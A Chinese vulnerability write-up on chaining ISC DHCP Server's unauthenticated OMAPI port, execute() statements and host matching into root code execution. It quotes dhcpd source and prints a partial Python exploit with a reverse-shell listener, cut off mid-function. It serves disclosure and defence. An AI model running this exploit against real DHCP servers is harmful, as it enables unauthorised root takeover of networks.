ISCDHCPServer:利用特性链实现未认证的Root远程代码执行

admin 2026-05-06 05:00:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: ISCDHCPServer的OMAPI管理接口默认无认证,攻击者可通过TCP注入含execute()语句的host对象,结合DHCPDISCOVER广播触发服务器以root权限执行任意命令。该攻击链由三个正常功能(OMAPI、execute()、主机匹配)组合而成,非传统漏洞但危害严重。建议关闭OMAPI或配置强制认证,并迁移至已停维护的ISCDHCP替代方案Kea。 综合评分: 87 文章分类: 漏洞分析,代码审计,应急响应,威胁情报,安全工具


cover_image

ISC DHCP Server:利用特性链实现未认证的Root远程代码执行

幻泉之洲

2026年5月5日 13:39 北京

在小说阅读器读本章

去阅读

ISC DHCP Server默认开启OMAPI管理接口且无认证,允许攻击者通过TCP注入包含execute()语句的host对象。随后只需发送一个DHCP DISCOVER广播包,就能触发服务器以root权限执行任意命令。这不是内存破坏漏洞,而是三个正常功能组合成的攻击链——OMAPI、execute()、主机匹配。从代码审计到PoC,完整重构了整个攻击流程。

背景:为什么会有这个研究

做实验室VM里网络服务的代码审计,顺手翻了翻ISC DHCP Server(dhcpd)。这是Linux环境里最常见的DHCP实现,从90年代中期活到现在。

我克隆了代码,用Opus 4.6从攻击者视角建了个知识库,花时间读源码、让AI帮我找潜在入口点。结果没找到传统漏洞,倒是发现了一条很有趣的特性链——把几个设计意图完全正常的功能串起来,就能实现未认证的远程root代码执行。

不是内存破坏,不是逻辑漏洞。纯粹是理解软件怎么设计的,各个组件怎么互动,这些互动如何从网络访问一路走到任意命令执行。

有时候最危险的bug根本不是bug——全是文档里写明了的特性,只是没人从攻击角度想过它们的组合。

ISC DHCP Server 小传

ISC DHCP Server由Internet Systems Consortium维护,是DHCP的参考实现。从90年代中期部署到全球数百万台设备上——小到办公室服务器,大到企业网络和ISP。

注意:ISC在2022年底正式宣布DHCP Server停止维护。最后版本是4.4.3-P1和4.1-ESV-R16-P2,2022年10月5日发布。他们推荐迁移到新服务Kea。但很多Linux发行版还在自带,生产环境也还没迁移完。完整公告见:https://www.isc.org/dhcp/

服务器以root身份运行,因为它需要特权访问链路层原始套接字来收发DHCP包。它负责IP分配、租约管理和网络客户端的动态配置。

很容易找到它的进程和监听端口:

➜  ~ ps aux | grep -i dhcpd root     1619626  0.0  0.1 105572 10344 ?        Ssl  18:34   0:00 /usr/sbin/dhcpd ➜  ~ sudo ss -tulnp | grep dhcpd udp   UNCONN 0      0            0.0.0.0:67         0.0.0.0:*    users:((“dhcpd”,pid=1619626,fd=10)) tcp   LISTEN 0      1            0.0.0.0:7911       0.0.0.0:*    users:((“dhcpd”,pid=1619626,fd=11))

DHCP是啥?

DHCP自动给设备分配IP和网络配置。每次连Wi-Fi或插网线,DHCP就帮你搞定IP地址、默认网关和DNS,不用手动设。

ISC dhcpd就是协议的服务端。它监听广播包,管理可用IP池(租约),通过MAC地址追踪谁占了哪个IP,处理续租和过期。

还支持静态主机声明,管理员可以绑定特定MAC到固定IP,加上自定义配置。这个后面会用到。

OMAPI是什么?

OMAPI(对象管理API)是dhcpd暴露的基于TCP的管理协议。只要在dhcpd.conf里配了omapi-port指令,服务器就监听那个TCP端口,允许客户端创建、修改、查询、删除服务器对象,比如主机、租约、分组。

server/dhcpd.c里,OMAPI监听器的启动代码:

void postdb_startup (void) {   if (omapi_port != -1) {     omapi_listener_start (0);   }

OMAPI支持可选的HMAC-MD5认证,通过omapi-key指令配置。但注意——这是链条的第一环——认证完全是可选的。很多部署为了用管理工具打开了OMAPI,却没配密钥,接口就这么敞着。

常见暴露OMAPI的配置就一行:

omapi-port 7911;

完了。没认证。能访问TCP 7911的人就能操作服务器对象。

拆解攻击链

每个组件都按设计工作。问题出在它们交互时。攻击者连接OMAPI TCP端口(默认无认证),创建一个host对象,statements属性里塞进一个execute()指令,hardware-address填一个已知DHCP客户端的MAC。

服务器用和解析dhcpd.conf时完全一样的配置解析器来处理我们塞进去的语句——没有任何限制允许哪些语句类型。解析结果存到内存里,挂到host条目上。

然后我们发一个DHCP DISCOVER广播。这是未授权操作,任何本地用户都能做,只要chaddr字段匹配我们注册的MAC。

dhcpd处理广播时,按硬件地址查找host条目,找到我们注入的那条,然后执行挂在上面的语句——这个执行过程是DHCP正常处理流程的一部分。我们的execute()调用fork() + execvp(),以dhcpd运行的用户身份——root。

从一条未经认证的TCP连接到root代码执行,每一个步骤都是文档里写明的功能,按设计工作。

OMAPI接受host对象上的statements属性

在dhcpd的配置语言里,host声明可以包含可执行语句——也就是当主机在DHCP处理中被匹配时运行的配置指令。和你在dhcpd.confhost {}块里写的一模一样:

host example {     hardware ethernet 00:11:22:33:44:55;     fixed-address 10.0.0.100;     option domain-name-servers 8.8.8.8;     execute(“/usr/local/bin/notify”, “new-lease”, “10.0.0.100”); }

内部实现里,每个host声明都有一个group指针,group里有一个executable_statement结构的链表:

struct group {     struct group *next;     int refcnt;     struct group_object *object;     struct subnet *subnet;     struct shared_network *shared_network;     int authoritative;     struct executable_statement *statements; };

struct host_decl {     …     struct group *group;     … };

既然OMAPI暴露出来了,我就想深入看看能拿它做什么。我发现当OMAPI收到创建或更新host对象的请求时,会通过dhcp_host_set_value()处理属性(server/omapi.c)。支持属性里就有statements,允许直接把可执行配置语言注入到host条目里:

isc_result_t dhcp_host_set_value (omapi_object_t *h,                                   omapi_object_t *id,                                   omapi_data_string_t *name,                                   omapi_typed_data_t *value) {     ……     if (!omapi_ds_strcmp (name, “statements”)) {         if (!host -> group) {             if (!clone_group (&host -> group, root_group, MDL))                 return ISC_R_NOMEMORY;         } else {             if (host -> group -> statements &&                 (!host -> named_group ||                  host -> group != host -> named_group -> group) &&                 host -> group != root_group)                 return ISC_R_EXISTS;             if (!clone_group (&host -> group, host -> group, MDL))                 return ISC_R_NOMEMORY;         }         if (!host -> group)             return ISC_R_NOMEMORY;

        if (value && (value -> type == omapi_datatype_data ||                       value -> type == omapi_datatype_string)) {             struct parse *parse;             int lose = 0;             parse = (struct parse *)0;             status = new_parse(&parse, -1,                                (char*) value->u.buffer.value,                                value->u.buffer.len,                                “network client”, 0);             if (status != ISC_R_SUCCESS || parse == NULL)                 return status;             if (!(parse_executable_statements                   (&host -> group -> statements, parse, &lose,                    context_any))) {                 end_parse (&parse);                 return DHCP_R_BADPARSE;             }             end_parse (&parse);         } else             return DHCP_R_INVALIDARG;         return ISC_R_SUCCESS;     }

当dhcpd匹配DHCP包到某个host条目时,它遍历host->group->statements并逐个执行。这就是如何实现per-host配置的——设置DHCP选项、日志、条件逻辑,没错,还有通过execute()运行系统命令。

OMAPI通过statements属性暴露了完全相同的机制。当你通过OMAPI创建host对象,并包含一个statements值时,服务器拿你的原始字节,喂给和解析dhcpd.conf时一模一样的配置解析器。结果存到host->group->statements里,和来自配置文件的语句没有区别。

代码里就是这样:OMAPI收到设置host对象属性的请求,调用dhcp_host_set_value()。函数把属性名和一系列字符串比较——namehardware-addresshardware-typeip-address,然后就是我们关心的statements

函数克隆host的group(如果没有就从root_group创建),然后通过new_parse()从OMAPI原始value字节创建解析器。关键调用是parse_executable_statements(),最后一个参数是context_any。这个context参数控制解析器接受哪些语句类型——context_any意味着所有类型。

没有白名单,没有过滤,没有区分“安全”语句(比如设置DHCP选项)和危险语句(比如执行系统命令)。

parse_executable_statements 把攻击者输入当配置语言解析

parse_executable_statements()common/parse.c里,和启动时解析dhcpd.conf的解析器是同一个。它循环读输入,解析每条语句,链成一个executable_statement结构链表:

int parse_executable_statements (statements, cfile, lose, case_context)     struct executable_statement **statements;     struct parse *cfile;     int *lose;     enum expression_context case_context; {     struct executable_statement **next;     next = statements;     while (parse_executable_statement (next, cfile, lose, case_context))         next = &((*next) -> next);     if (!*lose)         return 1;     return 0; }

每次迭代调用parse_executable_statement(),这是一个巨大的switch语句,处理配置语言里所有语句类型。其中就有EXECUTE分支——解析器识别execute("command", "arg1", "arg2", ...);并构建一个executable_statement,操作码为execute_statement

case EXECUTE:

ifdef ENABLE_EXECUTE

    skip_token(&val, NULL, cfile);     if (!executable_statement_allocate (result, MDL))         log_fatal (“no memory for execute statement.”);     (*result)->op = execute_statement;     token = next_token(&val, NULL, cfile);     if (token != LPAREN) {         parse_warn(cfile, “left parenthesis expected.”);         skip_to_semi(cfile);         *lose = 1;         return 0;     }     token = next_token(&val, &len, cfile);     if (token != STRING) {         parse_warn(cfile, “Expecting a quoted string.”);         skip_to_semi(cfile);         *lose = 1;         return 0;     }     (*result)->data.execute.command = dmalloc(len + 1, MDL);     if ((*result)->data.execute.command == NULL)         log_fatal(“can’t allocate command name”);     strcpy((*result)->data.execute.command, val);     ep = &(*result)->data.execute.arglist;     (*result)->data.execute.argc = 0;     while ((token = next_token(&val, NULL, cfile)) == COMMA) {         if (!expression_allocate(ep, MDL))             log_fatal (“can’t allocate expression”);         if (!parse_data_expression (&(*ep) -> data.arg.val,                                     cfile, lose)) {             if (!*lose) {                 parse_warn (cfile, “expecting expression.”);                 *lose = 1;             }             skip_to_semi(cfile);             *lose = 1;             return 0;         }         ep = &(*ep)->data.arg.next;         (*result)->data.execute.argc++;     }

解析器提取命令字符串(第一个参数),构建参数表达式链表。全部存到result->data.execute里——命令路径在.command,参数链表在.arglist,数量在.argc

execute()语句被ENABLE_EXECUTE编译开关控制,但默认是开启的。configure.ac里:

execute() support.

AC_ARG_ENABLE(execute,     AS_HELP_STRING([–enable-execute],[enable support for execute() in config (default is yes)]))

execute() is on by default, so define if it is not explicitly disabled.

if test “$enable_execute” != “no” ; then     enable_execute=”yes”     AC_DEFINE([ENABLE_EXECUTE], [1],               [Define to include execute() config language support.]) fi

每个标准构建的ISC DHCP Server都编译了execute()。你需要在编译时显式传递--disable-execute才能去掉,没人会这么干——大多数人甚至不知道有这开关。

DHCP处理中的主机匹配触发语句执行

dhcpd处理DHCP DISCOVER或REQUEST时,按客户端MAC地址查找host条目。在server/dhcp.c里,ack_lease()调用find_hosts_by_haddr()chaddr字段直接从原始DHCP包取:

if (!host) {     find_hosts_by_haddr (&hp,                          packet -> raw -> htype,                          packet -> raw -> chaddr,                          packet -> raw -> hlen,                          MDL);     for (h = hp; h; h = h -> n_ipaddr) {         if (!h -> fixed_addr)             break;     }     if (h)         host_reference (&host, h, MDL);     if (hp != NULL)         host_dereference(&hp, MDL); }

找到匹配的host声明后,代码运行所有挂在该host group上的语句,包括我们注入的execute()

if (host)     execute_statements_in_scope (NULL, packet, lease, NULL,                                  packet->options, state->options,                                  &lease->scope, host->group,                                  (lease->pool                                   ? lease->pool->group                                   : lease->subnet->group),                                  NULL);

execute_statements_in_scope()common/execute.c里递归遍历group作用域链,对每个group的语句列表调用execute_statements()

void execute_statements_in_scope (result, packet,                                   lease, client_state, in_options,                                   out_options, scope, group,                                   limiting_group, on_star) {     struct group *limit;     if (!group)         return;     for (limit = limiting_group; limit; limit = limit -> next) {         if (group == limit)             return;     }     if (group -> next)         execute_statements_in_scope (result, packet,                                      lease, client_state,                                      in_options, out_options, scope,                                      group->next, limiting_group,                                      on_star);     execute_statements (result, packet, lease, client_state,                         in_options, out_options, scope,                         group->statements, on_star); }

execute_statements()遍历executable_statement链表。遇到execute_statement操作码时,从存储的命令和参数构建argv数组,然后调用fork() + execvp()

case execute_statement: {

ifdef ENABLE_EXECUTE

    struct expression *expr;     char **argv;     int i, argc = r->data.execute.argc;     pid_t p;     argv = dmalloc((argc + 2) * sizeof(*argv), MDL);     if (!argv)         break;     argv[0] = dmalloc(strlen(r->data.execute.command) + 1, MDL);     if (argv[0]) {         strcpy(argv[0], r->data.execute.command);     } else {         goto execute_out;     }     for (i = 1, expr = r->data.execute.arglist; expr;          expr = expr->data.arg.next, i++) {         memset(&ds, 0, sizeof(ds));         status = (evaluate_data_expression                   (&ds, packet,                    lease, client_state, in_options,                    out_options, scope,                    expr->data.arg.val, MDL));         if (status) {             argv[i] = dmalloc(ds.len + 1, MDL);             if (argv[i]) {                 memcpy(argv[i], ds.data, ds.len);                 argv[i][ds.len] = 0;             }             data_string_forget (&ds, MDL);             if (!argv[i]) {                 goto execute_out;             }         } else {             goto execute_out;         }     }     argv[i] = NULL;     if ((p = fork()) > 0) {         int status;         waitpid(p, &status, 0);     } else if (p == 0) {         execvp(argv[0], argv);         log_error(“Unable to execute %s: %m”, argv[0]);         _exit(127);     } }

没有沙箱,没有降权,没有环境清理,没有任何对可执行路径的限制。execvp()以dhcpd运行的用户身份执行——也就是root。

攻击者的命令字符串从OMAPI TCP消息,经过解析器,进入host的group statements,最后直接以root权限通过系统调用execvp()执行。

触发条件是不需要特权的

发一个DHCP DISCOVER不需要任何特权。就是一个UDP广播:

  • 源端口:任意(我们是客户端)
  • 目标端口:67(DHCP服务器)
  • 目标地址:255.255.255.255(广播)
  • 套接字选项:SO_BROADCAST(不是特权操作)

DHCP DISCOVER包含一个chaddr字段,我们填上匹配已注入host条目的MAC地址。dhcpd的BPF过滤器捕获这个广播帧,处理它,匹配到我们的host,然后触发execute()

整合起来

这些功能单独看都没有bug。OMAPI按设计工作,execute()按设计工作,主机匹配按设计工作,UDP广播不需要root。但把它们串起来,网络上的任何未授权用户都能得到root RCE。

#!/usr/bin/python3# Exploit Title: ISC DHCP Server 4.1-4.4.x - Remote Code Execution (RCE)# Date: 2026-04-29# Exploit Author: Askar (@mohammadaskar2)# Vendor Homepage: https://www.isc.org/dhcp/# Version: 4.1.0 - 4.4.3-P1 (any version compiled with execute() support)# Tested on: Debian 13import&nbsp;argparseimport&nbsp;socketimport&nbsp;structimport&nbsp;sysimport&nbsp;osimport&nbsp;timeimport&nbsp;randomimport&nbsp;subprocessimport&nbsp;selectfrom&nbsp;threading&nbsp;import&nbsp;Thread, EventOMAPI_PORT =&nbsp;7911def&nbsp;pack_intro():&nbsp; &nbsp;&nbsp;return&nbsp;struct.pack("!II",&nbsp;100,&nbsp;24)def&nbsp;pack_nv(name, value):&nbsp; &nbsp;&nbsp;return&nbsp;struct.pack("!H",&nbsp;len(name)) + name + struct.pack("!I",&nbsp;len(value)) + valuedef&nbsp;pack_nv_int(name, value):&nbsp; &nbsp;&nbsp;return&nbsp;struct.pack("!H",&nbsp;len(name)) + name + struct.pack("!II",&nbsp;4, value)def&nbsp;pack_nv_end():&nbsp; &nbsp;&nbsp;return&nbsp;struct.pack("!H",&nbsp;0)def&nbsp;pack_message(op, handle, xid, rid, msg_nvs, obj_nvs):&nbsp; &nbsp; header = struct.pack("!IIIIII",&nbsp;0,&nbsp;0, op, handle, xid, rid)&nbsp; &nbsp; body =&nbsp;b""&nbsp; &nbsp;&nbsp;for&nbsp;nv&nbsp;in&nbsp;msg_nvs:&nbsp; &nbsp; &nbsp; &nbsp; body += nv&nbsp; &nbsp; body += pack_nv_end()&nbsp; &nbsp;&nbsp;for&nbsp;nv&nbsp;in&nbsp;obj_nvs:&nbsp; &nbsp; &nbsp; &nbsp; body += nv&nbsp; &nbsp; body += pack_nv_end()&nbsp; &nbsp;&nbsp;return&nbsp;header + bodydef&nbsp;recv_exact(sock, n):&nbsp; &nbsp; data =&nbsp;b""&nbsp; &nbsp;&nbsp;while&nbsp;len(data) < n:&nbsp; &nbsp; &nbsp; &nbsp; chunk = sock.recv(n -&nbsp;len(data))&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;chunk:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;ConnectionError("Connection closed")&nbsp; &nbsp; &nbsp; &nbsp; data += chunk&nbsp; &nbsp;&nbsp;return&nbsp;datadef&nbsp;recv_response(sock):&nbsp; &nbsp; header = recv_exact(sock,&nbsp;24)&nbsp; &nbsp; authid, authlen, op, handle, xid, rid = struct.unpack("!IIIIII", header)&nbsp; &nbsp; nvs = {}&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(2):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nlen = struct.unpack("!H", recv_exact(sock,&nbsp;2))[0]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;nlen ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name = recv_exact(sock, nlen)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vlen = struct.unpack("!I", recv_exact(sock,&nbsp;4))[0]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value = recv_exact(sock, vlen)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nvs[name] = value&nbsp; &nbsp;&nbsp;if&nbsp;authlen >&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; recv_exact(sock, authlen)&nbsp; &nbsp;&nbsp;return&nbsp;{"op": op,&nbsp;"handle": handle,&nbsp;"nvs": nvs}class&nbsp;OmapiConn:&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, host, port=7911, timeout=10):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.host = host&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.port = port&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.timeout = timeout&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.sock =&nbsp;None&nbsp; &nbsp;&nbsp;def&nbsp;connect(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.sock.settimeout(self.timeout)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.sock.connect((self.host,&nbsp;self.port))&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.sock.sendall(pack_intro())&nbsp; &nbsp; &nbsp; &nbsp; intro = recv_exact(self.sock,&nbsp;8)&nbsp; &nbsp; &nbsp; &nbsp; ver, _ = struct.unpack("!II", intro)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;ver !=&nbsp;100:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;ConnectionError(f"Bad OMAPI version:&nbsp;{ver}")&nbsp; &nbsp;&nbsp;def&nbsp;reconnect(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.close()&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.5)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.connect()&nbsp; &nbsp;&nbsp;def&nbsp;close(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;self.sock:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.sock.close()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;OSError:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.sock =&nbsp;None&nbsp; &nbsp;&nbsp;def&nbsp;transact(self, op, handle, xid, msg_nvs, obj_nvs):&nbsp; &nbsp; &nbsp; &nbsp; msg = pack_message(op, handle, xid,&nbsp;0, msg_nvs, obj_nvs)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.sock.sendall(msg)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;recv_response(self.sock)def&nbsp;format_mac(mac_bytes):&nbsp; &nbsp;&nbsp;return&nbsp;":".join(f"{b:02x}"&nbsp;for&nbsp;b&nbsp;in&nbsp;mac_bytes)def&nbsp;parse_mac(mac_str):&nbsp; &nbsp; mac_str = mac_str.replace('-',&nbsp;':')&nbsp; &nbsp; parts = mac_str.split(':')&nbsp; &nbsp;&nbsp;if&nbsp;len(parts) !=&nbsp;6:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Invalid MAC address:&nbsp;{mac_str}&nbsp;(need 6 octets, got&nbsp;{len(parts)})")&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)&nbsp; &nbsp;&nbsp;return&nbsp;bytes(int(b,&nbsp;16)&nbsp;for&nbsp;b&nbsp;in&nbsp;parts)def&nbsp;get_local_mac():&nbsp; &nbsp; result = subprocess.run(["ip",&nbsp;"route",&nbsp;"show",&nbsp;"default"],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;capture_output=True, text=True)&nbsp; &nbsp; iface =&nbsp;None&nbsp; &nbsp;&nbsp;for&nbsp;line&nbsp;in&nbsp;result.stdout.strip().split('\n'):&nbsp; &nbsp; &nbsp; &nbsp; parts = line.split()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;'dev'&nbsp;in&nbsp;parts:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; iface = parts[parts.index('dev') +&nbsp;1]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;iface:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None,&nbsp;None&nbsp; &nbsp; result = subprocess.run(["ip",&nbsp;"-o",&nbsp;"link",&nbsp;"show", iface],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;capture_output=True, text=True)&nbsp; &nbsp;&nbsp;for&nbsp;part&nbsp;in&nbsp;result.stdout.split():&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;':'&nbsp;in&nbsp;part&nbsp;and&nbsp;len(part) ==&nbsp;17&nbsp;and&nbsp;all(c&nbsp;in&nbsp;'0123456789abcdef:'&nbsp;for&nbsp;c&nbsp;in&nbsp;part):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mac_bytes =&nbsp;bytes(int(b,&nbsp;16)&nbsp;for&nbsp;b&nbsp;in&nbsp;part.split(':'))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;mac_bytes, iface&nbsp; &nbsp;&nbsp;return&nbsp;None,&nbsp;None# Reference: RFC 2131 - Dynamic Host Configuration Protocol# https://datatracker.ietf.org/doc/html/rfc2131#section-2def&nbsp;build_dhcp_discover(mac_bytes):&nbsp; &nbsp; xid = random.randint(0,&nbsp;0xFFFFFFFF)&nbsp; &nbsp; pkt = struct.pack("!BBBB",&nbsp;1,&nbsp;1,&nbsp;6,&nbsp;0) &nbsp; &nbsp; &nbsp;# op=BOOTREQUEST, htype=ETH, hlen=6, hops=0&nbsp; &nbsp; pkt += struct.pack("!I", xid) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xid (transaction ID)&nbsp; &nbsp; pkt += struct.pack("!HH",&nbsp;0,&nbsp;0x8000) &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# secs=0, flags=BROADCAST&nbsp; &nbsp; pkt +=&nbsp;b'\x00'&nbsp;*&nbsp;4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# ciaddr (client IP - 0 for DISCOVER)&nbsp; &nbsp; pkt +=&nbsp;b'\x00'&nbsp;*&nbsp;4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# yiaddr (your IP - filled by server)&nbsp; &nbsp; pkt +=&nbsp;b'\x00'&nbsp;*&nbsp;4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# siaddr (server IP)&nbsp; &nbsp; pkt +=&nbsp;b'\x00'&nbsp;*&nbsp;4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# giaddr (relay agent IP)&nbsp; &nbsp; pkt += mac_bytes +&nbsp;b'\x00'&nbsp;*&nbsp;10&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# chaddr (client hardware address, 16 bytes)&nbsp; &nbsp; pkt +=&nbsp;b'\x00'&nbsp;*&nbsp;64&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# sname (server host name)&nbsp; &nbsp; pkt +=&nbsp;b'\x00'&nbsp;*&nbsp;128&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# file (boot file name)&nbsp; &nbsp; pkt += struct.pack("!I",&nbsp;0x63825363) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# DHCP magic cookie&nbsp; &nbsp; pkt +=&nbsp;bytes([53,&nbsp;1,&nbsp;1]) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Option 53: DHCP Message Type = DISCOVER&nbsp; &nbsp; pkt +=&nbsp;bytes([55,&nbsp;4,&nbsp;1,&nbsp;3,&nbsp;6,&nbsp;15]) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Option 55: Parameter Request List&nbsp; &nbsp; pkt +=&nbsp;bytes([255]) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Option 255: End&nbsp; &nbsp;&nbsp;return&nbsp;pktdef&nbsp;send_dhcp_discover(mac_bytes):&nbsp; &nbsp; pkt = build_dhcp_discover(mac_bytes)&nbsp; &nbsp; sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&nbsp; &nbsp; sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST,&nbsp;1)&nbsp; &nbsp; sock.sendto(pkt, ('255.255.255.255',&nbsp;67))&nbsp; &nbsp; sock.close()shell_connected = Event()def&nbsp;connection_handler(port):&nbsp; &nbsp;&nbsp;print("[+] Listener started on port %s"&nbsp;% port)&nbsp; &nbsp; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&nbsp; &nbsp; s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,&nbsp;1)&nbsp; &nbsp; s.bind(("0.0.0.0",&nbsp;int(port)))&nbsp; &nbsp; s.listen(1)&nbsp; &nbsp; conn, addr = s.accept()&nbsp; &nbsp; shell_connected.set()&nbsp; &nbsp;&nbsp;print("[+] Connection received from %s"&nbsp;% addr[0])&nbsp; &nbsp;&nbsp;print("[+] Incoming root shell!!")&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; readable, _, _ = select.select([conn, sys.stdin], [], [])&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;conn&nbsp;in&nbsp;readable:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = conn.recv(4096)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;data:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] Connection closed")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.write(data.decode(errors="replace"))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.flush()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;sys.stdin&nbsp;in&nbsp;readable:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmd = sys.stdin.readline()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;cmd:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.send(cmd.encode())&nbsp; &nbsp;&nbsp;except&nbsp;(BrokenPipeError, ConnectionResetError):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] Connection lost")&nbsp; &nbsp;&nbsp;finally:&nbsp; &nbsp; &nbsp; &nbsp; conn.close()&nbsp; &nbsp; &nbsp; &nbsp; s.close()def&nbsp;delete_existing_host(conn, mac_bytes):&nbsp; &nbsp; xid = random.randint(1,&nbsp;0x7FFFFFFF)&nbsp; &nbsp; resp = conn.transact(1,&nbsp;0, xid,&nbsp; &nbsp; &nbsp; &nbsp; [pack_nv(b"type",&nbsp;b"host")],&nbsp; 